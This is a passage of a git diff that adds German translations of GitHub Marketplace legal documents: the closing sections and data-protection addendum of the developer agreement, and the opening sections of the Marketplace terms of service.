+Vorbehaltlich der ausdrücklich in dieser Vereinbarung vorgesehenen eingeschränkten Lizenzen werden in dieser Vereinbarung keine der geistigen Eigentumsrechte der anderen Partei an ihren Markenkennzeichen oder anderen Technologien an eine Partei übertragen oder abgetreten, und nichts in dieser Vereinbarung überträgt die geistigen Eigentumsrechte der einen Partei an die andere Partei.
+
+## 8.   HAFTUNGSBESCHRÄNKUNG
+
+UNTER KEINEN UMSTÄNDEN UND IN KEINER RECHTSTHEORIE (OB VERTRAGLICH, ZIVILRECHTLICH, AUS FAHRLÄSSIGKEIT ODER ANDERWEITIG) SIND GITHUB ODER SEINE TOCHTERGESELLSCHAFTEN, FÜHRUNGSKRÄFTE, DIREKTOREN, MITARBEITER, VERTRETER ODER LIEFERANTEN GEGENÜBER DEM ENTWICKLER ODER DRITTEN IM RAHMEN DIESER VEREINBARUNG FÜR INDIREKTE HAFTUNG, ZUFÄLLIGE, BESONDERE, BEISPIELHAFTE, FOLGE-, STRAF- ODER ANDERE ÄHNLICHE SCHÄDEN, EINSCHLIESSLICH ENTGANGENER GEWINNE, ENTGANGENER VERKÄUFE ODER GESCHÄFTE, VERLORENER DATEN, GESCHÄFTSUNTERBRECHUNGEN ODER JEGLICHER ANDERER VERLUSTE, DIE DEM ENTWICKLER ODER EINEM DRITTEN IN VERBINDUNG MIT DIESER VEREINBARUNG ENTSTEHEN, VERANTWORTLICH, UNABHÄNGIG DAVON, OB DER ENTWICKLER AUF DIE MÖGLICHKEIT SOLCHER SCHÄDEN HINGEWIESEN WURDE ODER SIE VORHERSEHEN KONNTE UND UNGEACHTET ANDERER BESTIMMUNGEN IN DIESEM VERTRAG, DARF DIE GESAMTHAFTUNG VON GITHUB GEGENÜBER DEN ENTWICKLERN ODER DRITTEN, DIE SICH AUS DIESEM VERTRAG ERGEBEN, DIE AUSGABEN VON SECHS (6) MONATEN NICHT ÜBERSCHREITEN.
+
+## 9. FREISTELLUNG
+
+**9.1** Soweit nach geltendem Recht zulässig, erklärt sich der Entwickler damit einverstanden, GitHub und seine verbundenen Unternehmen und ihre jeweiligen Direktoren, leitenden Angestellten, Mitarbeiter und Vertreter von und gegen alle Ansprüche, Klagen oder Verfahren zu verteidigen, zu entschädigen und von Verlusten, Verbindlichkeiten, Schäden, Kosten und Ausgaben (einschließlich angemessener Anwaltsgebühren) schadlos zu halten, die sich aus oder im Zusammenhang mit (a) der Nutzung des Marketplacwe durch den Entwickler unter Verstoß gegen diese Vereinbarung, die Bedingungen oder geltende Gesetze oder Vorschriften ergeben; (b) der Verletzung von Produkten, Urheberrechten, Warenzeichen, Geschäftsgeheimnissen, Patenten oder anderen geistigen Eigentumsrechten Dritter ergeben; (c) dem Verlust oder der Offenlegung von Daten oder personenbezogenen Informationen durch Entwicklerprodukte ergeben; und (d) der Lizenzbedingungen (oder AGBs) des Entwicklers ergeben.
+
+## 10. KÜNDIGUNG
+
+**10.1** Diese Vereinbarung ist gültig, bis sie von einer der Parteien wie unten beschrieben gekündigt wird.
+
+**10.2** Jede Partei kann diese Vereinbarung aus beliebigem Grund durch schriftliche Mitteilung an die andere Partei fünfundvierzig (45) Tage vor dem unmittelbar folgenden Kalendermonat kündigen. Während dieser 45-tägigen Frist gelten für die Dauer der 45-tägigen Kündigungsfrist bis zum Datum der tatsächlichen Kündigung die zum Zeitpunkt der Kündigung gültigen Bedingungen.
+
+**10.3** GitHub kann diese Vereinbarung jederzeit kündigen, wenn (a) Sie gegen eine Bestimmung dieser Vereinbarung verstoßen haben oder (b) GitHub gesetzlich dazu verpflichtet ist.
+
+**10.4** Auswirkungen der Kündigung durch den Entwickler. Nach Eingang einer schriftlichen Kündigung mit einer Frist von fünfundvierzig (45) Tagen durch den Entwickler kann der Entwickler keine neuen Kunden mehr über Marketplace annehmen. Alle ausstehenden Gebühren werden bei Kündigung und Entfernung des Entwicklerprodukts von Marketplace überwiesen. Wenn die Kündigung aufgrund einer Änderung dieser Bedingungen durch GitHub eingeleitet wird (Abschnitt 11), gelten für die Dauer der 45-tägigen Kündigungsfrist bis zum Datum der tatsächlichen Kündigung die unmittelbar vor dieser Änderung geltenden Bedingungen.
+
+**10.5** Die Verpflichtungen in den Abschnitten 2, 3, 4, 5, 8, 9 und 12‑18 gelten auch nach Ablauf oder Kündigung dieser Vereinbarung.
+
+## 11. ÄNDERUNGEN
+
+Der Entwickler erkennt an und stimmt zu, dass GitHub diese Vereinbarung, den Marketplace, die GitHub API, die allgemeinen API-Richtlinien, die GitHub Datenschutzrichtlinie, die Nutzungsbedingungen des GitHub Entwicklerprogramms und die GitHub.com Nutzungsbedingungen von Zeit zu Zeit ändern kann (eine „Änderung“). Alle Änderungen werden über Marketplace, die GitHub Website unter www.GitHub.com oder durch eine Form der direkten Kommunikation von GitHub an den Entwickler mitgeteilt. Der Entwickler erkennt ferner an und stimmt zu, dass solche Änderungen jederzeit und ohne Benachrichtigung des Entwicklers implementiert werden können. Der Entwickler muss diese Änderungen innerhalb von fünfundvierzig (45) Tagen ab dem Datum der ersten Benachrichtigung über Änderungen (oder einem kürzeren Zeitraum, der in der Benachrichtigung über die Änderungen angegeben ist) (der „Konformitätszeitraum“) durch Implementierung und Nutzung der aktuellsten Version der GitHub API in der aktuellsten Version der Entwicklerprodukte einhalten und jegliche Änderungen an den Entwicklerprodukten vornehmen, die aufgrund solcher Änderungen erforderlich sein können. Der Entwickler erkennt an, dass eine Änderung negative Auswirkungen auf Entwicklerprodukte haben kann, einschließlich, aber nicht beschränkt auf die Änderung der Art und Weise, in der Anwendungen mit der GitHub API kommunizieren. GitHub übernimmt keinerlei Haftung gegenüber Entwicklern oder Endbenutzern in Bezug auf solche Änderungen oder für nachteilige Auswirkungen, die sich aus solchen Änderungen ergeben. Der fortgesetzte Zugriff des Entwicklers auf oder die Nutzung von Marketplace oder der GitHub API nach Ablauf der Konformitätsfrist stellt eine verbindliche Annahme der betreffenden Änderungen dar.
+
+## 12. ABTRETUNG; GESAMTER VERTRAG; REVISIONEN
+
+**12.1** Der Entwickler darf ohne die vorherige schriftliche Einwilligung von GitHub weder direkt noch indirekt, kraft Gesetzes oder anderweitig alle oder einen Teil dieser Vereinbarung oder der Rechte des Entwicklers aus dieser Vereinbarung abtreten oder die Erfüllung der Pflichten des Entwicklers aus dieser Vereinbarung übertragen.  Die in dieser Vereinbarung gewährten Rechte können von GitHub ohne vorherige Zustimmung des Entwicklers abgetreten oder übertragen werden.  Darüber hinaus kann GitHub seine Verantwortlichkeiten oder Pflichten im Rahmen dieser Vereinbarung ohne Einwilligung des Entwicklers übertragen.
+
+**12.2** Dieser Vertrag zusammen mit den Bedingungen stellt den gesamten Vertrag zwischen den Parteien im Hinblick auf den Gegenstand dieses Vertrages dar. Das Versäumnis von GitHub, eine Bestimmung dieser Vereinbarung zu irgendeinem Zeitpunkt durchzusetzen, stellt keinen Verzicht auf diese Bestimmung oder eine andere Bestimmung dieser Vereinbarung dar.
+
+## 13. SALVATORISCHE KLAUSEL
+
+Wenn eine Bestimmung dieser Vereinbarung von einem zuständigen Gericht für nicht durchsetzbar befunden wird, wird diese Bestimmung vom Gericht geändert und so ausgelegt, dass die ursprüngliche Bestimmung im größtmöglichen gesetzlich zulässigen Umfang bestmöglich erfüllt wird und die verbleibenden Bestimmungen dieser Vereinbarung bleiben bestehen.
+
+## 14. BEZIEHUNG DER PARTEIEN
+
+Die Parteien sind unabhängige Vertragspartner. Dieser Vertrag begründet keine Partnerschaft, kein Franchise, kein Joint Venture, kein Agenturverhältnis, kein Treueverhältnis und kein Beschäftigungsverhältnis zwischen den Parteien.  Der Entwickler erklärt sich damit einverstanden, dass jedes Mitglied der Unternehmensgruppe, zu der GitHub gehört, ein Drittbegünstigter dieser Vereinbarung ist und dass diese anderen Unternehmen berechtigt sind, jede Bestimmung dieser Vereinbarung, die einen Vorteil oder eine Gewährung gewährt, direkt durchzusetzen und sich auf alle Rechte zugunsten von GitHub zu berufen.  Keine andere natürliche Person, Gesellschaft oder juristische Person darf Drittbegünstigter der Vereinbarung sein.
+
+## 15. HINWEIS
+
+Alle Mitteilungen, die GitHub dem Entwickler im Rahmen dieser Vereinbarung zu übermitteln hat, können schriftlich (i) per national anerkanntem Übernacht-Zustelldienst („Kurier“) oder per US-Post an die vom Entwickler an GitHub übermittelte Postanschrift zugestellt werden; oder (ii) per E-Mail an die vom Entwickler bereitgestellte E-Mail-Adresse. Der Entwickler muss GitHub schriftlich per Kurier oder US-Post an die folgende Adresse benachrichtigen: GitHub, Inc., Attn: Legal Department, 88 Colin P. Kelly Jr. Street, San Francisco, CA 94107 USA. Alle Mitteilungen gelten als unverzüglich per E-Mail zugestellt oder, falls anderweitig zugestellt, nach Erhalt oder, falls früher, zwei (2) Geschäftstage nach Hinterlegung per Post oder bei einem Kurier, wie oben zulässig.
+
+## 16. ANWENDBARES RECHT
+
+Diese Vereinbarung unterliegt den Gesetzen des US-Bundesstaates Kalifornien ohne Rücksicht auf Kollisionsnormen. Der Entwickler erklärt sich hiermit ausdrücklich damit einverstanden, sich der ausschließlichen persönlichen Gerichtsbarkeit der Bundes- und Staatsgerichte des Bundesstaates Kalifornien, San Francisco County, zum Zweck der Beilegung von Streitigkeiten im Zusammenhang mit dieser Vereinbarung zu unterwerfen.  Ungeachtet des Vorstehenden ist GitHub berechtigt, einstweilige Rechtsbehelfe oder andere Arten dringender Rechtsbehelfe in jeder Gerichtsbarkeit zu beantragen.
+
+## 17. AUSFUHRBESCHRÄNKUNGEN
+
+ENTWICKLERPRODUKTE, DIE ÜBER MARKETPLACE VERTRIEBEN WERDEN, KÖNNEN EXPORTKONTROLLEN ODER -BESCHRÄNKUNGEN DER VEREINIGTEN STAATEN ODER ANDERER LÄNDER ODER GEBIETE UNTERLIEGEN.  DER ENTWICKLER ERKLÄRT SICH MIT DER EINHALTUNG ALLER ANWENDBAREN US- UND INTERNATIONALEN AUSFUHRGESETZE UND -VORSCHRIFTEN EINVERSTANDEN.  DIESE GESETZE KÖNNEN BESCHRÄNKUNGEN FÜR ZIELE, INHALTE UND/ODER ENDBENUTZER ENTHALTEN.
+
+## 18. NUTZUNGSDATEN
+Um Marketplace zu betreiben und zu verbessern, kann GitHub Nutzungsdaten von Marketplace und der GitHub API oder überall dort erheben, wo zuvor gekaufte oder heruntergeladene Entwicklerprodukte im Auftrag von Endbenutzern von GitHub gespeichert werden.  Die Nutzungsdaten werden in Übereinstimmung mit den dann geltenden Datenschutzrichtlinien von GitHub verwaltet.  Nutzungsdaten mit eingeschränkter Verwendung können nach alleinigem Ermessen von GitHub zur Verwendung durch den Entwickler verfügbar sein.
+
+# Nachtrag 1: Nachtrag zum Datenschutz
+
+Dieser Nachtrag zum Datenschutz (dieser „Nachtrag“) ist an die GitHub Marketplace Entwicklervereinbarung zwischen Ihnen und GitHub (die „Vereinbarung“) angehängt und wird Teil dieser. Begriffe, die in diesem Nachtrag nicht gesondert definiert werden, haben die Bedeutung, die ihnen im Vertrag zugewiesen wurde. Im Falle eines Konflikts oder einer Inkonsistenz ersetzen die Bedingungen dieses Nachtrags die der Vereinbarung.
+
+**A1-1. Zweck und Umfang** GitHub verwaltet personenbezogene Daten von Personen auf der ganzen Welt, von denen einige in Ländern und Gebieten mit strengen Datenschutzgesetzen ansässig sind. Dieser Nachtrag legt Ihre Verantwortlichkeiten fest, wenn Sie Geschützte Daten von GitHub erhalten und verarbeiten.
+
+**A1-2. Definitionen**
+
+- a. „Anwendbare Datenschutzgesetze" bezeichnet alle Gesetze, Vorschriften, regulatorischen Rahmenbedingungen oder andere Gesetze in Bezug auf die Verarbeitung und Nutzung Personenbezogener Informationen, wie sie für die Vereinbarung gelten, einschließlich:
+   - Die EU-Datenschutz-Grundverordnung 2016/679 („DSGVO“) zusammen mit allen Umsetzungsgesetzen oder entsprechenden gleichwertigen nationalen Gesetzen oder Vorschriften; 
+   - Des California Consumer Privacy Act of 2018, Cal. Civ. Code §§1798.100 ff. („CCPA“); und
+   - Des UK Data Protection Act 2018 und die darin enthaltene Umsetzung der DSGVO.
+- b. „Personenbezogene Daten“ sind alle Informationen, die sich auf einen einzelnen Endbenutzer, Kunden oder Mitarbeiter von GitHub beziehen und durch die die Person allein oder zusammen mit anderen Informationen persönlich identifiziert werden kann, unabhängig davon, ob sie von GitHub zur Verarbeitung durch den Entwickler bereitgestellt oder vom Entwickler im Rahmen der Erfüllung seiner Verpflichtungen aus diesem Vertrag generiert wurden.
+- c. „Verarbeitung“ bezieht sich auf jeden manuell oder automatisch ausgeführten Arbeitsvorgang oder jede Serie von Arbeitsvorgängen im Zusammenhang mit Geschützten Daten von GitHub, wie das Erheben, das Speichern, die Organisation, die Aufbewahrung, die Anpassung oder Veränderung, das Abfragen, das Konsultieren, die Verwendung, die Offenlegung durch Übermittlung, die Verbreitung oder jede andere Form der Bereitstellung, Blockierung sowie das Löschen oder Vernichten von Daten.
+- d. „Geschützte Daten“ bezeichnet alle vertraulichen Informationen, die von GitHub an den Entwickler über einen GitHub Endbenutzer übermittelt werden, einschließlich der Personenbezogenen Daten, Metadaten, Nutzungsdaten oder anderen Daten oder Informationen, die mit GitHub Endbenutzern verbunden sind.
+
+**A1-3. Einhaltung der Datenübermittlungsgesetze**
+
+- a. GitHub Compliance. GitHub hält die Anwendbaren Datenschutzgesetze ein. GitHub stützt sich bei allen Übermittlungen aus der Europäischen Union, dem Europäischen Wirtschaftsraum, dem Vereinigten Königreich und der Schweiz auf Standardvertragsklauseln („SCCs“), um seine Dienste bereitzustellen. Darüber hinaus ist GitHub nach den zwischen EU-U.S. und Schweiz-U.S. ausgehandelten Privacy Shield Frameworks und den entsprechenden Anforderungen zertifiziert, auch wenn sich GitHub nicht auf das EU-U.S. Privacy Shield Framework als rechtliche Grundlage für die Übermittlung von Personenbezogenen Daten stützt, angesichts des Urteils des Europäischen Gerichtshofs im Verfahren C-311/18. GitHub übermittelt Personenbezogene Daten nur für die begrenzten und festgelegten Zwecke, für die sie erhoben wurden, an den Entwickler.
+- b. Entwickler-Compliance. Der Entwickler erklärt und garantiert, dass er (i) die Anwendbaren Datenschutzgesetze einhält; und (ii) die Anforderungen des Europäischen Wirtschaftsraums und des schweizerischen Datenschutzrechts in Bezug auf die Erhebung, Nutzung, Übermittlung, Aufbewahrung und sonstige Verarbeitung Personenbezogener Daten aus dem Europäischen Wirtschaftsraum, dem Vereinigten Königreich und der Schweiz einhält. Alle Übermittlungen von Personenbezogenen Daten in Drittländer oder an internationale Unternehmen unterliegen den in Artikel 46 der DSGVO beschriebenen Schutzvorkehrungen, diese Übertragungen und Schutzvorkehrungen werden gemäß den jeweiligen in Artikel 30(2) der DSGVO dokumentiert.
+
+**A1-4. Datenschutz**
+
+- a. Hinweis. Der Entwickler muss sich als Erheber und Verarbeiter aller Daten identifizieren, die er vom Endbenutzer erhebt. Der Entwickler darf sich nicht so ausgeben, als würde er im Namen von GitHub Personenbezogene Daten erheben. Der Entwickler muss den Endbenutzer ausreichend über seine Datenschutzpraktiken informieren, beispielsweise durch die Veröffentlichung einer Datenschutzrichtlinie.
+- b. Zweckbindung.
+   - i. GitHub stellt dem Entwickler Geschützte Datenelemente zur Verfügung, um eine Beziehung zwischen dem Entwickler und dem Endbenutzer aufzubauen und zu erleichtern und dem Entwickler zu ermöglichen, Dienstleistungen für den Endbenutzer bereitzustellen. Der Entwickler muss seine Verwendung der Geschützten Daten auf diesen Zweck beschränken, es sei denn, der Endbenutzer stimmt zu, andere Verwendungen zuzulassen.
+   - ii. Der Entwickler darf die Geschützten Daten nur für die begrenzten und spezifischen Zwecke der Bereitstellung seiner Dienste für den Endbenutzer verarbeiten und an Dritte weitergeben, wie in seiner Vereinbarung mit dem Endbenutzer beschrieben, es sei denn, der Endbenutzer stimmt zu, andere Verwendungen zuzulassen.
+- c. Datenqualität und Verhältnismäßigkeit. Der Entwickler muss die Geschützten Daten korrekt und aktuell halten.
+- d. Sicherheit. Der Entwickler muss alle den Risiken angemessenen Sicherheitsmaßnahmen ergreifen, z. B. gegen versehentliche oder rechtswidrige Zerstörung oder versehentlichen Verlust, Änderung, unbefugte Offenlegung oder unbefugten Zugriff, die durch die Verarbeitung der Geschützten Daten entstehen.
+- e. Speicherung und Löschung von Daten. Auf begründete Anfrage von GitHub, sofern nicht gesetzlich verboten, muss der Entwickler alle Personenbezogenen Daten und zugehörigen Daten an allen Orten, an denen sie gespeichert sind, zurückgeben oder vernichten, nachdem sie für die begrenzten und festgelegten Zwecke, für die sie erhoben wurden, nicht mehr benötigt werden. 
+- f. Unterverarbeitung und Weiterübermittlung. Der Entwickler haftet für die Weiterübermittlung Geschützter Daten an seine Unterauftragsverarbeiter. Für den Fall, dass der Entwickler die Geschützten Daten an einen Dritten übermitteln muss oder der Entwickler Dienste von Drittanbietern installiert, nutzt oder aktiviert, um die Geschützten Daten im Auftrag des Entwicklers zu verarbeiten, muss der Entwickler sicherstellen, dass der Dritte mindestens das gleiche Maß an Datenschutz garantiert, wie es hier festgelegt ist.
+
+**A1-5. Verwendung Geschützter Daten**
+
+- a. Zulässige Nutzung. Der Entwickler darf die Geschützten Daten nur für die in Abschnitt 4(b)(i) genannten Zwecke und zu keinem anderen Zweck verarbeiten.
+- b. Keine Verwendung im Marketing. Der Entwickler darf die Geschützten Daten nicht zum Zwecke der Werbung für Waren oder Dienstleistungen Dritter verwenden und die Geschützten Daten nicht an Dritte verkaufen.
+- c. Automatisierte Entscheidungen. Für den Fall, dass der Entwickler automatisierte Entscheidungen trifft, die die Rechte von GitHub Kunden betreffen, einschließlich Beschäftigung, Kredit oder Gesundheit, muss der Entwickler die Personen benachrichtigen.
+
+**A1-6. Compliance**
+
+Auf Anfrage stellt der Entwickler seine Datenschutzerklärung, Datenschutzrichtlinie, Datenschutzmitteilung oder ähnliche Dokumentation zur Verfügung. Der Entwickler benachrichtigt auch über alle relevanten Compliance-Berichte, einschließlich der Einhaltung des Privacy Shield.
+
+**A1-7. Kündigung**
+
+- a. Aussetzung. Für den Fall, dass der Entwickler gegen seine Verpflichtungen zur Aufrechterhaltung eines angemessenen Datenschutzniveaus verstößt, kann GitHub die Übermittlung Geschützter Daten vorübergehend aussetzen oder die Erhebung und Verarbeitung Geschützter Daten im Namen von GitHub untersagen, bis der Verstoß behoben oder die Vereinbarung beendet ist.
+- b. Kündigung aus wichtigem Grund. GitHub kann die Vereinbarung unbeschadet anderer gesetzlicher oder Billigkeitsansprüche kündigen, falls:
+   - i. der Entwickler GitHub benachrichtigt, dass er seinen Datenschutzverpflichtungen nicht mehr nachkommen kann;
+   - ii. die Übermittlung, Erhebung oder Verarbeitung Geschützter Daten gemäß 7(a) vorübergehend für länger als einen Monat ausgesetzt wurde;
+   - iii. der Entwickler in erheblichem oder anhaltendem Maße gegen Gewährleistungen oder Zusicherungen gemäß diesem Nachtrag zum Datenschutz verstößt;
+   - iv. der Entwickler sein Geschäft nicht mehr betreibt, es aufgelöst wird, in Zwangsverwaltung geht oder im Namen des Entwicklers ein Auflösungsbeschluss erlassen wird.
+- c. Verstoß. Die Nichteinhaltung der Bestimmungen dieses Nachtrags zum Datenschutz gilt als wesentlicher Verstoß im Rahmen des Servicerahmenvertrags.
+- d. Benachrichtigung.
+Falls der Entwickler feststellt, dass er seinen Datenschutzverpflichtungen im Rahmen dieser Vereinbarung nicht mehr nachkommen kann, muss er GitHub unverzüglich benachrichtigen.
+Für den Fall, dass der Entwickler unter Privacy Shield zertifiziert wurde und zulässt, dass diese Zertifizierung erlischt oder anderweitig nicht unter Privacy Shield zertifiziert bleiben kann, muss der Entwickler GitHub unverzüglich benachrichtigen.
+- e. Änderungen. GitHub kann diesen Nachtrag von Zeit zu Zeit gemäß den gesetzlichen Bestimmungen mit einer Frist von 30 Tagen gegenüber dem Entwickler ändern. Wenn der Entwickler die Änderungen am Nachtrag nicht einhalten kann, kann GitHub die Vereinbarung kündigen.
+- f. Bei Kündigung muss der Entwickler:
+   - i. angemessene und geeignete Schritte unternehmen, um die Verarbeitung der Geschützten Daten zu beenden;
+   - ii. innerhalb von dreißig Tagen nach der Kündigung alle Speicher des Entwicklers mit im Zusammenhang mit GitHub gesammelten Geschützten Daten löschen; und
+   - iii. GitHub eine angemessene Zusicherung geben, dass der Entwickler die Verarbeitung der Geschützten Daten eingestellt und die gespeicherten Geschützten Daten gelöscht hat.
+
+**A1-8. Haftung für die Datenverarbeitung**
+- a. Direkte Haftung. Der Entwickler haftet gegenüber GitHub für tatsächliche Schäden, die durch einen Verstoß gegen diesen Nachtrag verursacht wurden, vorbehaltlich der Bedingungen in Abschnitt 8, Haftungsbeschränkung der Marketplace Entwicklervereinbarung.
diff --git a/translations/de-DE/content/site-policy/github-terms/github-marketplace-terms-of-service.md b/translations/de-DE/content/site-policy/github-terms/github-marketplace-terms-of-service.md
new file mode 100644
index 0000000000..fdde502f72
--- /dev/null
+++ b/translations/de-DE/content/site-policy/github-terms/github-marketplace-terms-of-service.md
@@ -0,0 +1,96 @@
+---
+title: Nutzungsbedingungen für GitHub Marketplace
+redirect_from:
+  - /articles/github-marketplace-terms-of-service
+  - /github/site-policy/github-marketplace-terms-of-service
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 25e713f275e6a0dd04aefc8652d16d168470bfd8
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556606'
+---
+Willkommen beim GitHub Marketplace („Marketplace”)! Wir freuen uns, dass Sie hier sind. Bitte lesen Sie diese Nutzungsbedingungen („Marketplace Bedingungen“) sorgfältig durch, bevor Sie auf GitHub Marketplace zugreifen oder es verwenden. GitHub Marketplace ist eine Plattform, auf der Sie Entwickleranwendungen oder -aktionen (kostenlos oder kostenpflichtig) auswählen können, die mit Ihrem GitHub.com-Konto verwendet werden können („Entwicklerprodukte“). Obwohl sie von GitHub, Inc. („GitHub“, „wir“, „uns“) angeboten werden, können Entwicklerprodukte entweder von GitHub oder von Software-Drittanbietern entwickelt und gewartet werden. Ihre Auswahl oder Nutzung von Entwicklerprodukten unterliegt diesen Marketplace Bedingungen und allen anwendbaren Gebühren und erfordert möglicherweise, dass Sie zusätzlichen Bedingungen zustimmen, die vom Drittlizenzgeber dieses Entwicklerprodukts (dem „Produktanbieter“) bereitgestellt werden.
+
+Durch die Nutzung von Marketplace stimmen Sie zu, an diese Marketplace Bedingungen gebunden zu sein.
+
+Wirksamkeitsdatum: 20. November 2020
+
+## A. Nutzungsbedingungen für GitHub.com
+
+Marketplace wird von GitHub bereitgestellt und unterliegt entweder den [Nutzungsbedingungen](/articles/github-terms-of-service/) oder den [Nutzungsbedingungen für Unternehmen](/articles/github-corporate-terms-of-service/) („GitHub Bedingungen”) – je nach Art des Kontos, mit dem Sie zugreifen, sowie diesen Marketplace Bedingungen. Wenn Sie die Entwicklerprodukte so konfigurieren, dass sie mit einem oder mehreren Konten auf der GitHub.com Website funktionieren, unterliegt Ihre Nutzung der Entwicklerprodukte auch Ihren geltenden GitHub Bedingungen. Alle festen Begriffe, die in diesem Dokument nicht definiert sind, werden in Ihren geltenden GitHub Bedingungen definiert.
+
+Sie sind nicht berechtigt, ein Entwicklerprodukt einzusetzen, um gegen Ihre geltenden GitHub Bedingungen zu verstoßen. Viele dieser Entwicklerprodukte werden ausschließlich zum Ausführen automatisierter Aufgaben verwendet. Darüber hinaus können mehrere Nutzer die Aktionen eines Entwicklerprodukts steuern. Wenn Sie jedoch ein Entwicklerprodukt für Ihr Konto kaufen und/oder einrichten oder Inhaber eines Kontos mit einem integrierten Entwicklerprodukt sind, dann sind Sie für die Aktionen des Entwicklerprodukts verantwortlich, die auf oder über Ihr Konto ausgeführt werden.
+
+## B. Nutzungsvoraussetzungen
+
+Um Marketplace nutzen zu können, müssen Sie mindestens 13 Jahre alt sein (wenn Sie in den Vereinigten Staaten leben; wenn Sie in einem anderen Land leben, müssen Sie die Gesetze zum Mindestalter Ihres Lands einhalten), ein gültiges GitHub Konto haben und Ihren geltenden GitHub Bedingungen und diesen Marketplace Bedingungen zustimmen.
+
+Wenn Sie diesen Marketplace Bedingungen im Namen eines Unternehmens, einer Organisation oder einer anderen juristischen Person zustimmen, erklären Sie, dass Sie befugt sind, diese juristische Person, ihre verbundenen Unternehmen und alle Nutzer, die in ihrem Namen auf Marketplace zugreifen, an diese Marketplace Bedingungen zu binden. Wenn Sie keine Befugnis haben, dürfen Sie diese Marketplace Bedingungen nicht akzeptieren und sind nicht berechtigt, die Marketplace Dienste zu nutzen.
+
+## C. Entwicklerprodukte und Produktanbieter
+
+Wenn Sie ein Entwicklerprodukt installieren und/oder kaufen, kaufen Sie die Entwicklerprodukte von GitHub und müssen die entsprechenden Zahlungen direkt an GitHub leisten. Sie erhalten jedoch Zugriff auf und die Rechte zur Nutzung dieses Entwicklerprodukts von einem Produktanbieter, nicht von GitHub (es sei denn, es handelt sich um ein Entwicklerprodukt von GitHub). Der Produktanbieter ist allein verantwortlich für das von ihm bereitgestellte Entwicklerprodukt, den darin enthaltenen Inhalt und alle Ansprüche, die Sie oder eine andere Partei in Bezug auf dieses Entwicklerprodukt oder Ihre Nutzung dieses Entwicklerprodukts haben könnten.
+
+Wir sind keine Partei der Vereinbarung zwischen Ihnen und dem Produktanbieter in Bezug auf dieses Entwicklerprodukt. Wir sind nicht verantwortlich für das von ihm bereitgestellte Entwicklerprodukt, den darin enthaltenen Inhalt und alle Ansprüche, die Sie oder eine andere Partei in Bezug auf dieses Entwicklerprodukt oder Ihre Nutzung dieses Entwicklerprodukts haben könnten. Wir sind jedoch ein Drittbegünstigter der Vereinbarung zwischen Ihnen und dem Produktanbieter für jedes Entwicklerprodukt, und wir haben das Recht (und es wird davon ausgegangen, dass wir das Recht akzeptiert haben), diese Vereinbarung als Drittbegünstigter gegen Sie durchzusetzen.
+
+## D. Zahlung, Abrechnungszeitplan und Stornierung
+
+Alle Zahlungen für Entwicklerprodukte erfolgen über GitHub. Die Bedingungen Ihrer Zahlung und Gebühren werden von [Abschnitt K. Zahlung](/articles/github-terms-of-service/#k-payment) oder dem entsprechenden Abschnitt Ihrer geltenden GitHub Bedingungen geregelt. Durch die Nutzung des Marketplace erklären Sie sich damit einverstanden, GitHub alle Gebühren zu zahlen, die im Zusammenhang mit Ihrem Kauf des Entwicklerprodukts anfallen. Jeder Kauf ist ein elektronischer Vertrag zwischen Ihnen und GitHub und Ihnen und dem Produktanbieter. Sie sind dafür verantwortlich, uns ein gültiges Zahlungsmittel für den Kauf von Entwicklerprodukten zur Verfügung zu stellen. Wenn Sie nur kostenlose Entwicklerprodukte kaufen, müssen Sie keine Zahlungsinformationen angeben.
+
+**Abrechnungsplan; Keine Rückerstattung.** Ihr Zahlungsplan wird durch den Zahlungsplan bestimmt, den Sie bei der Erstellung Ihres GitHub Kontos gewählt haben (z. B. kostenlos, monatlich, jährlich). Bei monatlichen oder jährlichen Zahlungsplänen werden Marketplace Käufe monatlich bzw. jährlich im Voraus in Rechnung gestellt und sind nicht erstattungsfähig. Es gibt keine Rückerstattungen oder Gutschriften für angebrochene Servicemonate, Downgrade-Rückerstattungen oder Rückerstattungen für ungenutzte Monate; Der Dienst bleibt jedoch für die Dauer des bezahlten Abrechnungszeitraums aktiv. Wenn Sie die Entwicklerproduktdienste kündigen möchten, können Sie dies tun, indem Sie Ihre Einstellungen in der globalen Navigationsleiste oben auf dem Bildschirm aufrufen.
+
+Wenn Sie Fragen, Bedenken oder Streitigkeiten bezüglich Ihrer Abrechnung haben, wenden Sie sich bitte an [GitHub Support](https://support.github.com/contact?tags=docs-policy).
+
+## E. Ihre Daten und die Datenschutzrichtlinie von GitHub
+
+**Datenschutz.** Wenn Sie ein Entwicklerprodukt auswählen oder verwenden, kann GitHub bestimmte Personenbezogene Informationen (wie in der [GitHub Datenschutzerklärung](/articles/github-privacy-statement/) definiert) unabhängig von Ihren Datenschutzeinstellungen mit dem Produktanbieter teilen (falls solche Personenbezogenen Informationen von Ihnen erhalten wurden), um Ihnen das Entwicklerprodukt bereitzustellen. Abhängig von den Anforderungen des von Ihnen gewählten Entwicklerprodukts kann GitHub nur Ihren Kontonamen, Ihre ID und Ihre primäre E-Mail-Adresse oder nur den Zugriff auf die Inhalte in Ihren Repositories weitergeben, einschließlich der Möglichkeit, Ihre privaten Daten zu lesen und zu ändern. Sie können den Umfang der vom Entwicklerprodukt angeforderten Berechtigungen aufrufen und diese akzeptieren oder ablehnen, wenn Sie ihm die Autorisierung über OAuth erteilen. 
+
+Wenn Sie die Nutzung des Entwicklerprodukts einstellen und den Zugriff über Ihre Kontoeinstellungen widerrufen, kann der Produktanbieter nicht mehr auf Ihr Konto zugreifen. Der Produktanbieter ist dafür verantwortlich, Ihre Personenbezogenen Informationen innerhalb seines definierten Fensters aus seinen Systemen zu löschen. Bitte wenden Sie sich an den Produktanbieter, um sicherzustellen, dass Ihr Konto ordnungsgemäß gekündigt wurde.
+
+**Gewährleistungsausschluss zu Sicherheit und Datenschutz.** Wenn Sie ein Entwicklerprodukt auswählen oder verwenden, liegt die Sicherheit des Entwicklerprodukts und die Verwahrung Ihrer Daten, einschließlich Ihrer Personenbezogenen Informationen (falls vorhanden), in der Verantwortung des Produktanbieters. Sie sind dafür verantwortlich, die Sicherheits- und Datenschutzabwägungen bei der Auswahl oder Verwendung des Entwicklerprodukts für Ihre eigenen Sicherheits- und Datenschutzrisiken und Compliance-Überlegungen zu nachzuvollziehen.
+
+## F. Rechte an Entwicklerprodukten
+
